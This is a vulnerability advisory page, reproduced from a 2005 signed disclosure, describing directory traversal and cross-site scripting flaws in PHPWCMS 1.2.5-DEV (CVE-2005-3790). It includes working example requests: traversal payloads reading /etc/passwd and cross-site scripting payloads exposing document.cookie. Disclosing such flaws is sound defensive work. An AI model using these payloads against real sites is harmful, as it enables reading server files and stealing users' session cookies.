SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHPWCMS - Directory traversal vulnerability,CSS attack


Arrow  SecurityAlert : 182
Arrow  CVE : CVE-2005-3790
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Stefan Lochbihler
Arrow  Published : 15.11.2005

Arrow  Affected Software : PHPWCMS 1.2.5-DEV



Arrow  Advisory Content :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Author: Stefan Lochbihler
Date: 14. November 2005
Software: PHPWCMS
Version: 1.2.5-DEV
URL: http://www.phpwcms.de
Attack: Directory traversal vulnerability,CSS

about:
phpwcms is an Open Source web content management system.
It is optimized for fast and easy setup and works on any
standard webserver platform that supports PHP/MySQL and was
tested successfully on Windows 2000/XP, MacOSX and LINUX.
phpwcms is perfect for professional, public and private users.
It is very easy to learn and gives you the flexibility to
separate layout and content. Lots of powerful but simple
implemented features assists publishers and web developers too.

info:
During an audit of the phpwcms project i find out that
it is vulnerable to the following attacks.

[1]

First the login.php script is vulnerable to a directory traversal
attack.

Through the following packet it is possible to read
sensitive data.
www.target.com/phpwcms/login.php?
POST:form_lang=../../../../../../../../etc/passwd%00

[2]

The same bug exist at the random_image.php script located at /img.
Do the condition of the code its not possible to read a well
aimed file.

Through the following packet it is possible to read
sensitive data.
www.target.com/phpwcms/img/random_image.php?
GET:imgdir=../../../etc/

[3]

The act_newsletter.php located at /include/inc_act is vulnerable to
a cross site scripting attack. Through this its possible to read
sensitive cookie informations.

Through the following packet it is possible to read
sensitive data.
www.target.com/phpwcms/include/inc_act/act_newsletter.php?i=
V:target (at) target (dot) com [email
concealed]:<script>alert(document.cookie)</script>)

//base64encode

[4]

If register_globals is set to on the same script is vulernable
to a cross site scripting attack.

Through the following packet it is possible to read
sensitive data.
www.target.com/phpwcms/include/inc_act/act_newsletter.php?
text=<script>alert(document.cookie)</script>

Vendor Status: The vendor is informed !

Discovered by Stefan Lochbihler

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFDeRZmaZIyFDbShWQRAuQCAKCIkq8RVVe6XCRsZUEGVK9l/1lWNwCePP8/
IUTMQ2QzFYdc6yP+rPpYxLI=
=ySQs
-----END PGP SIGNATURE-----





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.